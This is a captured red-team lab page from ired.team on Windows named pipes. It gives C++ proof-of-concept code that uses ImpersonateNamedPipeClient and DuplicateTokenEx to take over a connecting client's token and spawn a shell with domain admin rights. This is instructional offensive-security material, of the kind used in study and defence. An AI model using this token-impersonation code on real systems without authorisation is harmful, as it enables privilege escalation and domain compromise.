www.ired.team Open in urlscan Pro
172.64.147.209  Public Scan

Form analysis
0 forms found in the DOM

Text Content

Red Team Notes
More


SearchCtrl + K
 * What is ired.team notes?
 * Pinned
   * Pentesting Cheatsheets
      * SQL Injection & XSS Playground
   
   * Active Directory & Kerberos Abuse
      * From Domain Admin to Enterprise Admin
      * Kerberoasting
      * Kerberos: Golden Tickets
      * Kerberos: Silver Tickets
      * AS-REP Roasting
      * Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      * Kerberos Unconstrained Delegation
      * Kerberos Constrained Delegation
      * Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      * Domain Compromise via DC Print Server and Kerberos Delegation
      * DCShadow - Becoming a Rogue Domain Controller
      * DCSync: Dump Password Hashes from Domain Controller
      * PowerView: Active Directory Enumeration
      * Abusing Active Directory ACLs/ACEs
      * Privileged Accounts and Token Privileges
      * From DnsAdmins to SYSTEM to Domain Compromise
      * Pass the Hash with Machine$ Accounts
      * BloodHound with Kali Linux: 101
      * Backdooring AdminSDHolder for Persistence
      * Active Directory Enumeration with AD Module without RSAT or Admin
        Privileges
      * Enumerating AD Object Permissions with dsacls
      * Active Directory Password Spraying
      * Active Directory Lab with Hyper-V and PowerShell
      * ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain
        Controller Machine Certificate
      * From Misconfigured Certificate Template to Domain Admin
      * Shadow Credentials
      * Abusing Trust Account$: Accessing Resources on a Trusted Domain from a
        Trusting Domain
 * offensive security
   * Red Team Infrastructure
      * HTTP Forwarders / Relays
      * SMTP Forwarders / Relays
      * Phishing with Modlishka Reverse HTTP Proxy
      * Automating Red Team Infrastructure with Terraform
      * Cobalt Strike 101
      * Powershell Empire 101
      * Spiderfoot 101 with Kali using Docker
   
   * Initial Access
      * Password Spraying Outlook Web Access: Remote Shell
      * Phishing with MS Office
         * Phishing: XLM / Macro 4.0
         * T1173: Phishing - DDE
         * T1137: Phishing - Office Macros
         * Phishing: OLE + LNK
         * Phishing: Embedded Internet Explorer
         * Phishing: .SLK Excel
         * Phishing: Replacing Embedded Video with Bogus Payload
         * Inject Macros from a Remote Dotm Template
         * Bypassing Parent Child / Ancestry Detections
         * Phishing: Embedded HTML Forms
     
      * Phishing with GoPhish and DigitalOcean
      * Forced Authentication
      * NetNTLMv2 hash stealing using Outlook
   
   * Code Execution
      * regsvr32
      * MSHTA
      * Control Panel Item
      * Executing Code as a Control Panel Item through an Exported Cplapplet
        Function
      * Code Execution through Control Panel Add-ins
      * CMSTP
      * InstallUtil
      * Using MSBuild to Execute Shellcode in C#
      * Forfiles Indirect Command Execution
      * Application Whitelisting Bypass with WMIC and XSL
      * Powershell Without Powershell.exe
      * Powershell Constrained Language Mode Bypass
      * Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      * pubprn.vbs Signed Script Code Execution
   
   * Code & Process Injection
      * CreateRemoteThread Shellcode Injection
      * DLL Injection
      * Reflective DLL Injection
      * Shellcode Reflective DLL Injection
      * Process Doppelganging
      * Loading and Executing Shellcode From PE Resources
      * Process Hollowing and Portable Executable Relocations
      * APC Queue Code Injection
      * Early Bird APC Queue Code Injection
      * Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      * Shellcode Execution through Fibers
      * Shellcode Execution via CreateThreadpoolWait
      * Local Shellcode Execution without Windows APIs
      * Injecting to Remote Process via Thread Hijacking
      * SetWindowHookEx Code Injection
      * Finding Kernel32 Base and Function Addresses in Shellcode
      * Executing Shellcode with Inline Assembly in C/C++
      * Writing Custom Shellcode Encoders and Decoders
      * Backdooring PE Files with Shellcode
      * NtCreateSection + NtMapViewOfSection Code Injection
      * AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      * Module Stomping for Shellcode Injection
      * PE Injection: Executing PEs inside Remote Processes
      * API Monitoring and Hooking for Offensive Tooling
      * Windows API Hooking
      * Import Adress Table (IAT) Hooking
      * DLL Injection via a Custom .NET Garbage Collector
      * Writing and Compiling Shellcode in C
      * Injecting .NET Assembly to an Unmanaged Process
      * Binary Exploitation
         * 32-bit Stack-based Buffer Overflow
         * 64-bit Stack-based Buffer Overflow
         * Return-to-libc / ret2libc
         * ROP Chaining: Return Oriented Programming
         * SEH Based Buffer Overflow
         * Format String Bug
   
   * Defense Evasion
      * AV Bypass with Metasploit Templates and Custom Binaries
      * Evading Windows Defender with 1 Byte Change
      * Bypassing Windows Defender: One TCP Socket Away From Meterpreter and
        Beacon Sessions
      * Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      * Windows API Hashing in Malware
      * Detecting Hooked Syscalls
      * Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      * Retrieving ntdll Syscall Stubs from Disk at Run-time
      * Full DLL Unhooking with C++
      * Enumerating RWX Protected Memory Regions for Code Injection
      * Disabling Windows Event Logs by Suspending EventLog Service Threads
      * Obfuscated Powershell Invocations
      * Masquerading Processes in Userland via _PEB
      * Commandline Obfusaction
      * File Smuggling with HTML and JavaScript
      * Timestomping
      * Alternate Data Streams
      * Hidden Files
      * Encode/Decode Data with Certutil
      * Downloading Files with Certutil
      * Packed Binaries
      * Unloading Sysmon Driver
      * Bypassing IDS Signatures with Simple Reverse Shells
      * Preventing 3rd Party DLLs from Injecting into your Malware
      * ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      * Parent Process ID (PPID) Spoofing
      * Executing C# Assemblies from Jscript and wscript with DotNetToJscript
   
   * Enumeration and Discovery
      * Windows Event IDs and Others for Situational Awareness
      * Enumerating COM Objects and their Methods
      * Enumerating Users without net, Services without sc and Scheduled Tasks
        without schtasks
      * Enumerating Windows Domains with rpcclient through SocksProxy ==
        Bypassing Command Line Logging
      * Dump Global Address List (GAL) from OWA
      * Application Window Discovery
      * Account Discovery & Enumeration
      * Using COM to Enumerate Hostname, Username, Domain, Network Drives
      * Detecting Sysmon on the Victim Host
   
   * Privilege Escalation
      * Primary Access Token Manipulation
      * Windows NamedPipes 101 + Privilege Escalation
      * DLL Hijacking
      * WebShells
      * Image File Execution Options Injection
      * Unquoted Service Paths
      * Pass The Hash: Privilege Escalation with Invoke-WMIExec
      * Environment Variable $Path Interception
      * Weak Service Permissions
   
   * Credential Access & Dumping
      * Dumping Credentials from Lsass Process Memory with Mimikatz
      * Dumping Lsass Without Mimikatz
      * Dumping Lsass without Mimikatz with MiniDumpWriteDump
      * Dumping Hashes from SAM via Registry
      * Dumping SAM via esentutl.exe
      * Dumping LSA Secrets
      * Dumping and Cracking mscash - Cached Domain Credentials
      * Dumping Domain Controller Hashes Locally and Remotely
      * Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      * Network vs Interactive Logons
      * Reading DPAPI Encrypted Secrets with Mimikatz and C++
      * Credentials in Registry
      * Password Filter
      * Forcing WDigest to Store Credentials in Plaintext
      * Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching
        Lsass
      * Intercepting Logon Credentials via Custom Security Support Provider and
        Authentication Packages
      * Pulling Web Application Passwords by Hooking HTML Input Fields
      * Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      * Credentials Collection via CredUIPromptForCredentials
   
   * Lateral Movement
      * WinRM for Lateral Movement
      * WinRS for Lateral Movement
      * WMI for Lateral Movement
      * RDP Hijacking for Lateral Movement with tscon
      * Shared Webroot
      * Lateral Movement via DCOM
      * WMI + MSI Lateral Movement
      * Lateral Movement via Service Configuration Manager
      * Lateral Movement via SMB Relaying
      * WMI + NewScheduledTaskAction Lateral Movement
      * WMI + PowerShell Desired State Configuration Lateral Movement
      * Simple TCP Relaying with NetCat
      * Empire Shells with NetNLTMv2 Relaying
      * Lateral Movement with Psexec
      * From Beacon to Interactive RDP Session
      * SSH Tunnelling / Port Forwarding
      * Lateral Movement via WMI Event Subscription
      * Lateral Movement via DLL Hijacking
      * Lateral Movement over headless RDP with SharpRDP
      * Man-in-the-Browser via Chrome Extension
      * ShadowMove: Lateral Movement by Duplicating Existing Sockets
   
   * Persistence
      * DLL Proxying for Persistence
      * Schtask
      * Service Execution
      * Sticky Keys
      * Create Account
      * AddMonitor()
      * NetSh Helper DLL
      * Abusing Windows Managent Instrumentation
         * WMI as a Data Storage
     
      * Windows Logon Helper
      * Hijacking Default File Extension
      * Persisting in svchost.exe with a Service DLL
      * Modifying .lnk Shortcuts
      * Screensaver Hijack
      * Application Shimming
      * BITS Jobs
      * COM Hijacking
      * SIP & Trust Provider Hijacking
      * Hijacking Time Providers
      * Installing Root Certificate
      * Powershell Profile Persistence
      * RID Hijacking
      * Word Library Add-Ins
      * Office Templates
   
   * Exfiltration
      * Powershell Payload Delivery via DNS using Invoke-PowerCloud
 * reversing, forensics & misc
   * Internals
      * Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      * Compiling a Simple Kernel Driver, DbgPrint, DbgView
      * Loading Windows Kernel Driver for Debugging
      * Subscribing to Process Creation, Thread Creation and Image Load
        Notifications from a Kernel Driver
      * Listing Open Handles and Finding Kernel Object Addresses
      * Sending Commands From Your Userland Program to Your Kernel Driver using
        IOCTL
      * Windows Kernel Drivers 101
      * Windows x64 Calling Convention: Stack Frame
      * Linux x64 Calling Convention: Stack Frame
      * System Service Descriptor Table - SSDT
      * Interrupt Descriptor Table - IDT
      * Token Abuse for Privilege Escalation in Kernel
      * Manipulating ActiveProcessLinks to Hide Processes in Userland
      * ETW: Event Tracing for Windows 101
      * Exploring Injected Threads
      * Parsing PE File Headers with C++
      * Instrumenting Windows APIs with Frida
      * Exploring Process Environment Block
      * Writing a Custom Bootloader
   
   * Cloud
      * AWS Accounts, Users, Groups, Roles, Policies
   
   * Neo4j
   * Dump Virtual Box Memory
   * AES Encryption Using Crypto++ .lib in Visual Studio C++
   * Reversing Password Checking Routine

Powered by GitBook


WINDOWS NAMEDPIPES 101 + PRIVILEGE ESCALATION

OVERVIEW

A pipe is a block of shared memory that processes can use for communication and
data exchange.

Named Pipes is a Windows mechanism that enables two unrelated processes to
exchange data between themselves, even if the processes are located on two
different networks. It's very simar to client/server architecture as notions
such as a named pipe server and a named pipe client exist.

A named pipe server can open a named pipe with some predefined name and then a
named pipe client can connect to that pipe via the known name. Once the
connection is established, data exchange can begin.

This lab is concerned with a simple PoC code that allows:

   

 * creating a single-threaded dumb named pipe server that will accept one client
   connection

   
   

 * named pipe server to write a simple message to the named pipe so that the
   pipe client can read it

   

CODE

Below is the PoC for both the server and the client:

namedPipeServer.cppnamedPipeClient.cpp

Copy

#include "pch.h"
#include <Windows.h>
#include <iostream>

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	return 0;
}


Copy

#include "pch.h"
#include <iostream>
#include <Windows.h>

const int MESSAGE_SIZE = 512;

int main()
{
	LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
	HANDLE clientPipe = NULL;
	BOOL isPipeRead = true;
	wchar_t message[MESSAGE_SIZE] = { 0 };
	DWORD bytesRead = 0;

	std::wcout << "Connecting to " << pipeName << std::endl;
	clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	
	while (isPipeRead) {
		isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
		std::wcout << "Received message: " << message;
	}

	return 0;
}

EXECUTION

Below shows the named pipe server and named pipe client working as expected:



Worth nothing that the named pipes communication by default uses SMB protocol:



Checking how the process maintains a handle to our named pipe
mantvydas-first-pipe:



Similary, we can see the client having an open handle to the named pipe:



We can even see our pipe with powershell:


Copy

((Get-ChildItem \\.\pipe\).name)[-1..-5]


TOKEN IMPERSONATION

It is possible for the named pipe server to impersonate the named pipe client's
security context by leveraging a ImpersonateNamedPipeClient API call which in
turn changes the named pipe server's current thread's token with that of the
named pipe client's token.

We can update the the named pipe server's code like this to achieve the
impersonation - note that modifications are seen in line 25 and below:


Copy

int main() {
	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;

	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
	
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
	}
	
	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
	
	std::wcout << "Impersonating the client..." << std::endl;
	ImpersonateNamedPipeClient(serverPipe);
	err = GetLastError();	

	STARTUPINFO	si = {};
	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
	PROCESS_INFORMATION pi = {};
	HANDLE threadToken = GetCurrentThreadToken();
	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	return 0;
}

Running the server and connecting to it with the client that is running under
administrator@offense.local security context, we can see that the main thread of
the named server pipe assumed the token of the named pipe client -
offense\administrator, although the PipeServer.exe itself is running under
ws01\mantvydas security context. Sounds like a good way to escalate privileges?



Not so fast - unfortunately, I was not able to properly duplicate the token and
use it to our advantage with the following code:


Copy

	HANDLE 
		threadToken = NULL,
		duplicatedToken = NULL;

	OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken);
	DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken);
	err = GetLastError();
	CreateProcessWithTokenW(duplicatedToken, 0, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

For some reason, the DuplicateTokenEx call would return an error 1346
ERROR_BAD_IMPERSONATION_LEVEL and I could not figure out what the issue was, so
if you know, I would like to hear from you.

UPDATE #1

I was contacted by Raymond Roethof and @exist91240480 (huge thank you both!) and
they suggested that my named pipe server was not holding
SeImpersonatePrivilegewhich was causing the ERROR_BAD_IMPERSONATION_LEVEL when
calling DuplicateTokenEx. Once the server hold the required privilege,
everything worked as expected.

Note how PipeServer.exe running as a local admin ws01\mantvydas spawned a cmd
shell with domain admin privileges offense\administrator- due to successfull
token impersonation via named pipes:



Note that this technique is used by meterpreter when attempting to escalate
privileges when GetSystem command is used.. The same technique is used in the
PowerUp.

REFERENCES

Interprocess Communications - Win32 appsdocsmsft
PreviousPrimary Access Token ManipulationNextDLL Hijacking

Last updated 5 years ago

On this page
 * Overview
 * Code
 * Execution
 * Token Impersonation
 * Update #1
 * References




This site uses cookies to deliver its service and to analyse traffic. By
browsing this site, you accept the privacy policy.

AcceptReject